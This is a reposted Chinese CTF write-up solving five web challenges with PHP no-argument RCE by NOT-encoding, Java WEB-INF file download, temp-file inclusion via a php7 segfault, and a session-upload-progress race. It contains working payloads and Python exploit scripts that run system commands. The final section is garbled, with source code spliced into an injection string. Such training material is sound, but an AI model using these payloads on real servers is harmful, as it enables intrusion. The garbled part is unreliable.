文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

预备-刷题记录二

2023-10-04 17:51

关注

[鹏城杯 2022]简单的php

首先打开题目得到:

代码:

show_source(__FILE__);    $code = $_GET['code'];    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){        die(' Hello');    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){        @eval($code);    }?> 

分析代码发现第一个判断语句过滤了字母数字和一些字符,就可以考虑用取反,异化来绕过

第二个判断限定了只能用函数的方式,并且函数里面不能有参数,例如:system() 或者 system(fun())能过判断

所有是无参数,REC

首先可以想到用php中的函数
getallheaders()获取请求头

current()获取第一键值

大体思路是:利用getallheaders()获取我们在请求头传入的命令,在用current()获取第一值,所以我们的命令要在第一个键值对,在利用system执行系统函数
所以传入的是:system(current(getallheaders()));
当我们在进行取反时是:~取反函数字符
这样执行php会报错,我们可以加入一些无效的字符
来解决报错的问题例如:[!%FF]

php脚本:

show_source(__FILE__);//[~%8c%86%8c%8b%9a%92]([~%9c%8a%8d%8d%9a%91%8b]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c]())); $c1='system';$c2='+';$c3='getallheaders';//https://blog.csdn.net/qq_62260856/article/details/129535572$p1=urlencode(~$c1);$p2=urlencode(~$c2);$p3=urlencode(~$c3);echo '
'
.'[~'.$p1.']'.'[!%FF]'.'('.'[~'.$p2.']'.'[!%FF]'.'('.'[~'.$p3.']'.'[!%FF]'.'('.')'.')'.');';?>

得到payload:

[~%8c%86%8c%8b%9a%92]([~%9c%8a%8d%8d%9a%91%8b]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c]()));

利用burpsuite得到flag

在这里插入图片描述

[RoarCTF 2019]Easy Java

首先打开题目得到一个登陆界面:

在这里插入图片描述

通过搜寻信息得到:

url:http://313a380f-b897-494f-b5ae-f6d09ad9d5c3.node4.buuoj.cn:81/Download?filename=help.docx
在这里插入图片描述
在这里插入图片描述

发现存在信息泄露:

在这里插入图片描述

打开文件得到xml文件:

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"         version="4.0">    <welcome-file-list>        <welcome-file>Indexwelcome-file>    welcome-file-list>    <servlet>        <servlet-name>IndexControllerservlet-name>        <servlet-class>com.wm.ctf.IndexControllerservlet-class>    servlet>    <servlet-mapping>        <servlet-name>IndexControllerservlet-name>        <url-pattern>/Indexurl-pattern>    servlet-mapping>    <servlet>        <servlet-name>LoginControllerservlet-name>        <servlet-class>com.wm.ctf.LoginControllerservlet-class>    servlet>    <servlet-mapping>        <servlet-name>LoginControllerservlet-name>        <url-pattern>/Loginurl-pattern>    servlet-mapping>    <servlet>        <servlet-name>DownloadControllerservlet-name>        <servlet-class>com.wm.ctf.DownloadControllerservlet-class>    servlet>    <servlet-mapping>        <servlet-name>DownloadControllerservlet-name>        <url-pattern>/Downloadurl-pattern>    servlet-mapping>    <servlet>        <servlet-name>FlagControllerservlet-name>        <servlet-class>com.wm.ctf.FlagControllerservlet-class>    servlet>    <servlet-mapping>        <servlet-name>FlagControllerservlet-name>        <url-pattern>/Flagurl-pattern>    servlet-mapping>web-app>

审计发现,flag在/com/wm/ctf/FlagController.class
的文件中

利用filename读取FlagController.class文件

得到:

在这里插入图片描述得到FlagController.class,利用工具jd-gui反编译class文件得到java文件:
在这里插入图片描述

得到flag解码得到flag

[NPUCTF2020]ezinclude

大开题目得到:

在这里插入图片描述
收集信息在源码处得到

在这里插入图片描述
传入name和pass试试
得到:

在这里插入图片描述
发现Hash值不会会变化,猜测Hash是应该是secret的值加密的结果
让name值为空,pss也等于Hash值试试:

在这里插入图片描述
登陆成功得到地址:flflflflag.php

利用burpsuite发包得到:

在这里插入图片描述
发现存在文件包含,get一个file
发现可以利用php伪协议读取源码但没什么用
于是就在信息收集扫描目录发现dir.php目录

在这里插入图片描述

利用php7 segment fault特性(CVE-2018-14884)

简单的说就是,php://filter的strip_tags过滤器,可以让php执行的时候直接出现Segment Fault,这样php的垃圾回收机制就不会继续执行,导致post的文件会保存在系统的缓冲目录,我们只需要获取保存在文件名,就可以包含恶意代码。

过滤器会导致php崩溃,如果同时上传一个文件,那么这个tmp file就会一直留在tmp目录,临时文件会保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

利用条件:

php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复可以获取文件名源代码将GET参数进行文件包含

所有我们利用file文件包含执行php://filter/string.strip_tags/resource=/etc/passwd
页面就会崩溃,这时候我们通过脚本上传post文件,文件中包含恶意代码就可以getshell 了

import requestsfrom io import BytesIOpayload =""file_data={   'file': BytesIO(payload.encode())}url="http://65b005d1-4164-4a10-8ed7-494a0db6e72a.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"try:   r=requests.post(url=url,files=file_data,allow_redirects=False)except:        print(1)print(r.text)

在这里插入图片描述利用文件包含执行代码得到flag:

在这里插入图片描述

[第五空间 2021]EasyCleanup

首先打开题目得到:

 <?php if(!isset($_GET['mode'])){     highlight_file(__file__); }else if($_GET['mode'] == "eval"){     $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';     if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");     eval($shell); } if(isset($_GET['file'])){     if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");     include $_GET['file']; } function filter($var){     $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];     foreach($banned as $ban){         if(strstr($var, $ban)) return True;     }     return False; } function checkNums($var){     $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';     $cnt = 0;     for($i = 0; $i < strlen($alphanum); $i++){         for($j = 0; $j < strlen($var); $j++){             if($var[$j] == $alphanum[$i]){                 $cnt += 1;                 if($cnt > 8) return True;             }         }     }     return False; } ?> 

通过测试发现利用eval执行函数不能得到flag

开始考虑利用函数include

PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。

首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含

session文件包含

然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。

访问phpinfo查看session开启情况

在这里插入图片描述

这种利用方式需要满足下面几个条件:

目标环境开启了session.upload_progress.enable选项发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段请求的Cookie中包含Session ID

编写python竞争脚本执行命令:

import ioimport requestsimport threading  # 多线程from cffi.backend_ctypes import xrangesessid = '0'target = 'http://1.14.71.254:28231'file = 'ph0ebus.txt'f = io.BytesIO(b'a' * 1024 * 50)def write(session):    while True:        session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': ''},                     files={'file': (file, f)}, cookies={'PHPSESSID': sessid})def read(session):    while True:        resp = session.post(            f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")        if file in resp.text:            print(resp.text)            event.clear()        else:            print("[+]retry")if __name__ == "__main__":    event = threading.Event()    with requests.session() as session:        for i in xrange(1, 30):            threading.Thread(target=write, args=(session,)).start()        for i in xrange(1, 30):            threading.Thread(target=read, args=(session,)).start()    event.set()

得到flag

在这里插入图片描述

[鹏城杯 2022]压缩包

打开题目得到源码

highlight_file(__FILE__);function removedir($dir){    $list= scandir($dir);    foreach ($list as  $value) {       if(is_file($dir.'/'.$value)){         unlink($dir.'/'.$value);       }else if($value!="."&&$value!=".."){                removedir($dir.'/'.$value);       }    }}function unzip($filename){        $result = [];        $zip = new ZipArchive();        $zip->open($filename);        $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);        if(!is_dir($dir)){            mkdir($dir);        }        if($zip->extractTo($dir)){        foreach (scandir($dir) as  $value) {            $file_ext=strrchr($value, '.');            $file_ext=strtolower($file_ext); //转换为小写            $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA            $file_ext=trim($file_ext); //收尾去空            if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){                removedir($dir);            }            if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){                if(is_file($dir."/".$value)){                    unlink($dir."/".$value);                }else{                    if($value!="."&&$value!="..")                    array_push($result,$value);                }}                   }        $zip->close();        unlink($filename);        return json_encode($result);        }else{            return false;        }    }$content= $_REQUEST['content'];shell_exec('rm -rf /tmpunionselect1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'%23

源码base64解码得到flag

在这里插入图片描述

在这里插入图片描述

来源地址:https://blog.csdn.net/plant1234/article/details/129471527

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯